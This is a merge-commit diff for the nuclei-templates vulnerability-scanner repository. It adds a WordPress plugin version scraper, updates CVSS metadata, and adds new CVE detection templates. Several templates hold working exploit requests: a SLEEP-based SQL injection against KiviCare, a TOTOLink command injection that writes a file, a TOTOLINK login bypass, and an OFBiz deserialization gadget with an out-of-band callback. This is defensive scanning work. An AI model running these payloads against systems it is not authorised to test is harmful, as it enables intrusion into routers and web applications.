Merge pull request #6930 from projectdiscovery/CVE-2020-16846

Update CVE-2020-16846.yaml
2026-11-10 17:38:19 -10:00 · 2023-03-22 08:55:41 +05:30 · 2023-03-21 14:09:29 +05:30 · 2023-03-02 13:37:07 +05:30 · 2023-03-02 13:34:02 +05:30 · 2023-03-02 04:26:26 +00:00
484 changed files with 11922 additions and 137 deletions
@@ -0,0 +1,10 @@
+beautifulsoup4==4.11.1
+bs4==0.0.1
+certifi==2022.9.24
+charset-normalizer==2.1.1
+idna==3.4
+Markdown==3.4.1
+requests==2.28.1
+soupsieve==2.3.2.post1
+termcolor==2.1.1
+urllib3==1.26.13
@@ -0,0 +1,185 @@
+#!/usr/bin/env python3
+
+'''
+This script reads the URL https://wordpress.org/plugins/browse/popular/ until page 10, extract each plugin name and namespace,
+then in http://plugins.svn.wordpress.org/ website, looks for the "Stable tag" inside the readme.txt and extract the last version
+number from trunk branch. Finally generates a template and a payload file with last version number to be used during scan that
+compares the detect version with the payload version.
+
+The generated template also includes the tags top-100 and top-200 allowing filtering.
+
+e.g.
+nuclei -t technologies/wordpress/plugins -tags top-100 -u https://www.example.com
+'''
+
+__author__ = "ricardomaia"
+
+from time import sleep
+from bs4 import BeautifulSoup
+import requests
+import re
+from markdown import markdown
+import os
+from termcolor import colored, cprint
+
+# Regex to extract the name of th plugin from the URL
+regex = r"https://wordpress.org/plugins/(\w.+)/"
+
+ranking = 1
+
+# Top 200 Wordpress Plugins
+for page_number in range(1, 11):
+
+    html = requests.get(url=f"https://wordpress.org/plugins/browse/popular/page/{page_number}", headers={
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
+        "Accept-Language": "en-US,en;q=0.9",
+        "Accept-Encoding": "gzip, deflate",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+        "Connection": "keep-alive",
+        "Upgrade-Insecure-Requests": "1",
+        "Cache-Control": "max-age=0",
+        "Pragma": "no-cache",
+    }).content
+
+    # Parse HTML
+    soup = BeautifulSoup(html, 'html.parser')
+    results = soup.find(id="main")
+    articles = results.find_all("article", class_="plugin-card")
+
+    # Setting the top tag
+    top_tag = "top-100,top-200" if page_number <= 5 else "top-200"
+
+    # Get each plugin in the page
+    for article in articles:
+
+        full_title = article.find("h3", class_="entry-title").get_text()
+        regex_remove_quotes = r"[\"`:]"
+        subst_remove_quotes = "'"
+        title = re.sub(regex_remove_quotes, subst_remove_quotes, full_title)
+
+        link = article.find("a").get("href")
+        name = re.search(regex, link).group(1)
+
+        cprint(f"Title: {title}", "cyan")
+        cprint(f"Link: {link}", "yellow")
+        cprint(f"Name: {name} - Ranking: {ranking}", "green")
+        print(f"Page Number: {page_number}")
+        print(f"Top Tag: {top_tag}")
+        print(f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt")
+        ranking += 1
+
+        sleep(0.2)
+
+        # Get the readme.txt file from SVN
+        readme = requests.get(
+            url=f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt",
+            headers={
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
+                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+                "Accept-Encoding": "gzip, deflate",
+                "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6",
+                "Cache-Control": "no-cache",
+                "Connection": "keep-alive",
+                "Host": "plugins.svn.wordpress.org",
+                "Pragma": "no-cache",
+                "Upgrade-Insecure-Requests": "1",
+                "Referer": "http://plugins.svn.wordpress.org/{name}/trunk/"}).content
+
+        # Extract the plugin version
+        try:
+            version = re.search(r"(?i)Stable.tag:\s+([\w.]+)",
+                                readme.decode("utf-8")).group(1)
+        except:
+            version = "N/A"
+
+        # Extract the plugin description
+        try:
+            description_markdown = re.search(
+                r"(?i)==.Description.==\W+\n?(.*)", readme.decode("utf-8")).group(1)
+            html = markdown(description_markdown)
+            full_description = BeautifulSoup(html, 'html.parser').get_text()
+            regex_max_length = r"(\b.{80}\b)"
+            subst_max_lenght = "\\g<1>\\n    "
+            description = re.sub(
+                regex_max_length, subst_max_lenght, full_description, 0, re.MULTILINE)
+        except:
+            description = "N/A"
+
+        print(f"Version: {version}")
+        print(f"Description: {description}")
+
+        # Write the plugin template to file
+        template = f'''id: wordpress-{name}
+
+info:
+  name: {title} Detection
+  author: ricardomaia
+  severity: info
+  reference:
+    - https://wordpress.org/plugins/{name}/
+  metadata:
+    plugin_namespace: {name}
+    wpscan: https://wpscan.com/plugin/{name}
+  tags: tech,wordpress,wp-plugin,{top_tag}
+
+requests:
+  - method: GET
+
+    path:
+      - "{{{{BaseURL}}}}/wp-content/plugins/{name}/readme.txt"
+
+    payloads:
+      last_version: helpers/wordpress/plugins/{name}.txt
+
+    extractors:
+      - type: regex
+        part: body
+        internal: true
+        name: internal_detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+      - type: regex
+        part: body
+        name: detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: "outdated_version"
+        dsl:
+          - compare_versions(internal_detected_version, concat("< ", last_version))
+
+      - type: regex
+        part: body
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+'''
+
+        work_dir = os.getcwd()
+        print(f"Current working directory: {work_dir}")
+        helper_dir = f"{work_dir}/helpers/wordpress/plugins"
+        template_dir = f"{work_dir}/technologies/wordpress/plugins"
+
+        if not os.path.exists(helper_dir):
+            os.makedirs(helper_dir)
+
+        if not os.path.exists(template_dir):
+            os.makedirs(template_dir)
+
+        helper_path = f"helpers/wordpress/plugins/{name}.txt"
+        version_file = open(helper_path, "w")
+        version_file.write(version)
+        version_file.close()
+
+        template_path = f"technologies/wordpress/plugins/{name}.yaml"
+        template_file = open(template_path, "w")  # Dev environment
+        template_file.write(template)
+        template_file.close()
+
+        print("--------------------------------------------")
+        print("\n")
@@ -0,0 +1,43 @@
+name: ✨ WordPress Plugins - Update
+on:
+  schedule:
+    - cron: "0 4 * * *" # every day at 4am UTC
+  workflow_dispatch:
+jobs:
+  Update:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repository code
+        uses: actions/checkout@v3
+        with:
+          persist-credentials: false # otherwise, the token used is the GITHUB_TOKEN, instead of your personal token
+          fetch-depth: 0 # otherwise, you will failed to push refs to dest repo
+
+      - name: Install Python3
+        uses: actions/setup-python@v4
+        with:
+          python-version: "3.10"
+      - run: |
+          python -m pip install --upgrade pip
+          pip install -r .github/scripts/wordpress-plugins-update-requirements.txt
+
+      - name: Update Templates
+        id: update-templates
+        run: |
+          python3 .github/scripts/wordpress-plugins-update.py
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+
+      - name: Commit files
+        if: steps.update-templates.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add --all
+          git commit -m "Auto WordPress Plugins Update [$(date)] :robot:"
+
+      - name: Push changes
+        if: steps.update-templates.outputs.CHANGES > 0
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,57 +0,0 @@
-cves/2019/CVE-2019-6802.yaml
-cves/2021/CVE-2021-20323.yaml
-cves/2021/CVE-2021-24827.yaml
-cves/2021/CVE-2021-25099.yaml
-cves/2022/CVE-2022-0826.yaml
-cves/2022/CVE-2022-0948.yaml
-cves/2022/CVE-2022-1595.yaml
-cves/2022/CVE-2022-2314.yaml
-cves/2022/CVE-2022-4050.yaml
-cves/2022/CVE-2022-45917.yaml
-default-logins/apache/karaf-default-login.yaml
-default-logins/lutron/lutron-default-login.yaml
-exposed-panels/aircube-dashboard-panel.yaml
-exposed-panels/gyra-master-admin.yaml
-exposed-panels/ilias-panel.yaml
-exposed-panels/mag-dashboard-panel.yaml
-exposed-panels/microfocus-admin-server.yaml
-exposed-panels/netris-dashboard-panel.yaml
-exposed-panels/planet-estream-panel.yaml
-exposed-panels/spark-panel.yaml
-exposed-panels/verizon-router-panel.yaml
-exposures/configs/config-json.yaml
-exposures/configs/golangci-config.yaml
-exposures/configs/stestr-config.yaml
-exposures/configs/websheets-config.yaml
-exposures/files/database-credentials.yaml
-exposures/files/gradle-libs.yaml
-exposures/files/kubernetes-etcd-keys.yaml
-exposures/files/routes-ini.yaml
-exposures/files/salesforce-credentials.yaml
-exposures/files/svn-wc-db.yaml
-exposures/logs/badarg-log.yaml
-exposures/logs/firebase-debug-log.yaml
-exposures/logs/npm-debug-log.yaml
-exposures/logs/production-log.yaml
-iot/homeworks-illumination.yaml
-miscellaneous/sitemap-detect.yaml
-misconfiguration/installer/easyscripts-installer.yaml
-misconfiguration/installer/metaview-explorer-installer.yaml
-misconfiguration/unauth-mautic-upgrade.yaml
-misconfiguration/unauth-zwave-mqtt.yaml
-misconfiguration/vernemq-status-page.yaml
-network/detection/cisco-finger-detect.yaml
-network/detection/finger-detect.yaml
-network/detection/mysql-detect.yaml
-network/detection/redis-detect.yaml
-network/detection/rpcbind-portmapper-detect.yaml
-takeovers/leadpages-takeover.yaml
-technologies/apache/apache-karaf-panel.yaml
-technologies/icecast-server-detect.yaml
-technologies/mikrotik-httpproxy.yaml
-technologies/pagespeed-detect.yaml
-vulnerabilities/nps/nps-auth-bypass.yaml
-vulnerabilities/qibocms-file-download.yaml
-vulnerabilities/vmware/vmware-nsx-stream-rce.yaml
-vulnerabilities/zend/zend-v1-xss.yaml
-vulnerabilities/zyxel/unauth-lfd-zhttpd.yaml
@@ -53,7 +53,7 @@ An overview of the nuclei template project, including statistics on unique tags,
 | wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
 | tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

-**321 directories, 4736 files**.
+**335 directories, 5229 files**.

 </td>
 </tr>
@@ -18,7 +18,7 @@ info:
    - http://www.openwall.com/lists/oss-security/2017/04/16/2
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-7615
    cwe-id: CWE-640
@@ -11,7 +11,7 @@ info:
    - https://pastebin.com/raw/rt7LJvyF
    - https://www.exploit-db.com/exploits/42290/
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-9833
    cwe-id: CWE-22
@@ -11,7 +11,7 @@ info:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
    - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17431
    cwe-id: CWE-287
@@ -3,15 +3,15 @@ id: CVE-2018-19365
 info:
  name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
  author: 0x_Akoko
-  severity: high
+  severity: critical
  description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
  reference:
    - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
    - https://www.cvedetails.com/cve/CVE-2018-19365
    - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+    cvss-score: 9.1
    cve-id: CVE-2018-19365
    cwe-id: CWE-22
  tags: cve,cve2018,wowza,lfi
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/153330/Sahi-Pro-7.x-8.x-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20470
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20470
    cwe-id: CWE-22
@@ -10,10 +10,10 @@ info:
    - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505
    - http://www.openwall.com/lists/oss-security/2019/09/25/3
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 4.3
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2019-10405
-    cwe-id: CWE-200
+    cwe-id: CWE-79
  metadata:
    shodan-query: http.favicon.hash:81586312
  tags: cve,cve2019,jenkins
@@ -11,7 +11,7 @@ info:
    - http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14322
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-14322
    cwe-id: CWE-22
@@ -11,7 +11,7 @@ info:
    - https://extensions.joomla.org/extension/je-messenger/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9922
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9922
    cwe-id: CWE-22
@@ -13,13 +13,13 @@ info:
    - https://hackerone.com/reports/1329433
  remediation: This issue can be resolved by updating Grafana to the latest version.
  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Grafana"
-  tags: cve,cve2020,xss,grafana
+  tags: cve2020,xss,grafana,hackerone,cve

 requests:
  - raw:
@@ -5,6 +5,9 @@ info:
  author: x6263
  severity: medium
  description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
+  metadata:
+    verified: true
+    shodan-query: title:"prtg"
  reference:
    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
@@ -21,7 +24,9 @@ requests:
    path:
      - "{{BaseURL}}/public/login.htm?type=probes"
      - "{{BaseURL}}/public/login.htm?type=requests"
+      - "{{BaseURL}}/public/login.htm?type=treestat"

+    stop-at-first-match: true
    req-condition: true
    matchers-condition: and
    matchers:
@@ -33,6 +38,9 @@ requests:
        part: body
        words:
          - "prtg_network_monitor"
+          - "Probes"
+          - "Groups"
+        condition: or

      - type: status
        status:
@@ -4,7 +4,8 @@ info:
  name: SaltStack <=3002 - Shell Injection
  author: dwisiswant0
  severity: critical
-  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: |
+    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
  reference:
    - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -24,18 +25,24 @@ requests:
    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
    headers:
      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "An unexpected error occurred"
+
+      - type: dsl
+        dsl:
+          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
      - type: status
        status:
          - 500
-      - type: word
-        words:
-          - "application/json"
-        part: header
-      - type: word
-        words:
-          - "An unexpected error occurred"
-        part: body
-
 # Enhanced by mp on 2022/04/27
@@ -4,16 +4,17 @@ info:
  name: OpenTSDB <= 2.4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
-  description: "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
+  description: OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory.
  reference:
    - https://github.com/OpenTSDB/opentsdb/issues/2051
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476
+    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35476
    cwe-id: CWE-78
-  tags: cve,cve2020,opentsdb,rce
+  tags: cve,cve2020,opentsdb,rce,packetstorm

 requests:
  - method: GET
@@ -11,10 +11,13 @@ info:
    - https://wordpress.org/plugins/give/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25099
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
    cve-id: CVE-2021-25099
+    cwe-id: CWE-79
  metadata:
-    verified: true
-  tags: cve,cve2021,wordpress,wp-plugin,wp,xss,give,unauth
+    verified: "true"
+  tags: give,unauth,cve2021,wordpress,wp-plugin,xss,cve,wp,wpscan

 requests:
  - raw:
@@ -0,0 +1,58 @@
+id: CVE-2021-30128
+
+info:
+  name: Apache OFBiz <17.12.07 - Arbitrary Code Execution
+  author: For3stCo1d
+  severity: critical
+  description: Apache OFBiz has unsafe deserialization prior to 17.12.07 version
+  reference:
+    - https://lists.apache.org/thread.html/rbe8439b26a71fc3b429aa793c65dcc4a6e349bc7bb5010746a74fa1d@%3Ccommits.ofbiz.apache.org%3E
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-30128
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743%40%3Cdev.ofbiz.apache.org%3E
+    - https://lists.apache.org/thread.html/rb3f5cd65f3ddce9b9eb4d6ea6e2919933f0f89b15953769d11003743@%3Cdev.ofbiz.apache.org%3E
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-30128
+    cwe-id: CWE-502
+  metadata:
+    fofa-query: app="Apache_OFBiz"
+    verified: "true"
+  tags: cve,cve2021,apache,ofbiz,deserialization,rce
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/SOAPService HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
+          <soapenv:Header/>
+            <soapenv:Body>
+              <ser>
+                <map-Map>
+                  <map-Entry>
+                    <map-Key>
+                      <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
+                    </map-Key>
+                  <map-Value>
+                <std-String/>
+                </map-Value>
+                </map-Entry>
+              </map-Map>
+              </ser>
+            </soapenv:Body>
+        </soapenv:Envelope>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: body
+        words:
+          - 'value="errorMessage"'
@@ -8,6 +8,8 @@ info:
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
+    - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
  classification:
    cve-id: CVE-2021-32853
  metadata:
@@ -19,8 +19,8 @@ info:
    cve-id: CVE-2021-41773
    cwe-id: CWE-22
  metadata:
-    verified: "true"
    shodan-query: Apache 2.4.49
+    verified: "true"
  tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,kev

 variables:
@@ -0,0 +1,45 @@
+id: CVE-2021-42887
+
+info:
+  name: TOTOLINK - Authentication Bypass
+  author: gy741
+  severity: critical
+  description: |
+    In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
+    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2021-42887
+    cwe-id: CWE-287
+  metadata:
+    shodan-query: title:"TOTOLINK"
+  tags: totolink,auth-bypass,cve,cve2021,router
+
+requests:
+  - raw:
+      - |
+        GET /login.htm HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_1
+        words:
+          - "TOTOLINK"
+
+      - type: word
+        part: header_2
+        words:
+          - "Set-Cookie: SESSION_ID="
+
+      - type: status
+        status:
+          - 302
@@ -0,0 +1,36 @@
+id: CVE-2022-0786
+
+info:
+  name: KiviCare < 2.3.9 - Unauthenticated SQLi
+  author: theamanrawat
+  severity: critical
+  description: |
+    The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users.
+  reference:
+    - https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30
+    - https://wordpress.org/plugins/kivicare-clinic-management-system/
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-0786
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-0786
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: wordpress,wp-plugin,wp,sqli,kivicare-clinic-management-system,unauth,cve,cve2022,wpscan
+
+requests:
+  - raw:
+      - |
+        @timeout: 10s
+        GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type, "text/html")'
+          - 'contains(body, "Doctor details")'
+        condition: and
@@ -11,10 +11,13 @@ info:
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1595
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
    cve-id: CVE-2022-1595
+    cwe-id: CWE-200
  metadata:
    verified: "true"
-  tags: cve,cve2022,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,unauth
+  tags: wp-plugin,wp,hc-custom-wp-admin-url,unauth,wpscan,cve,cve2022,wordpress

 requests:
  - raw:
@@ -11,10 +11,12 @@ info:
    - https://wordpress.org/plugins/vr-calendar-sync/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2314
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
    cve-id: CVE-2022-2314
  metadata:
-    verified: true
-  tags: cve,cve2022,wordpress,wp-plugin,wp,rce,vr-calendar-sync,unauth
+    verified: "true"
+  tags: cve,cve2022,wordpress,wp,wp-plugin,rce,vr-calendar-sync,unauth,wpscan

 requests:
  - raw:
@@ -10,11 +10,15 @@ info:
    - https://packetstormsecurity.com/files/cve/CVE-2022-23854
    - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
+    - https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
    cve-id: CVE-2022-23854
+    cwe-id: CWE-23
  metadata:
-    verified: true
    shodan-query: http.html:"InTouch Access Anywhere"
+    verified: "true"
  tags: lfi,packetstorm,cve,cve2022,aveva,intouch

 requests:
@@ -3,15 +3,19 @@ id: CVE-2022-24990
 info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
-  severity: medium
+  severity: high
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  reference:
    - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
+    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
+    - https://forum.terra-master.com/en/viewforum.php?f=28
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
    cve-id: CVE-2022-24990
  metadata:
    shodan-query: TerraMaster
-  tags: cve,cve2022,terramaster,exposure
+  tags: cve,cve2022,terramaster,exposure,kev

 requests:
  - method: GET
@@ -0,0 +1,50 @@
+id: CVE-2022-25082
+
+info:
+  name: TOTOLink - Unauthenticated Command Injection
+  author: gy741
+  severity: critical
+  description: |
+    TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/cve-2022-25082
+    - https://github.com/EPhaha/IOT_vuln/blob/main/TOTOLink/A950RG/README.md
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-25082
+    cwe-id: CWE-77
+  tags: totolink,cve,cve2022,router,unauth,rce,iot
+
+variables:
+  cmd: "`ls>../{{randstr}}`"
+
+requests:
+  - raw:
+      - |
+        GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /{{randstr}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - ".sh"
+          - ".cgi"
+        condition: and
+
+      - type: word
+        part: header_2
+        words:
+          - 'application/octet-stream'
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by mp on 2022/11/05
@@ -12,9 +12,12 @@ info:
    - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2546
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 4.7
    cve-id: CVE-2022-2546
+    cwe-id: CWE-79
  metadata:
-    verified: true
+    verified: "true"
  tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss

 requests:
@@ -0,0 +1,36 @@
+id: CVE-2022-33891
+info:
+  name: Apache Spark UI - Command Injection
+  author: princechaddha
+  severity: high
+  description: |
+    The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
+  reference:
+    - https://github.com/W01fh4cker/cve-2022-33891
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-33891
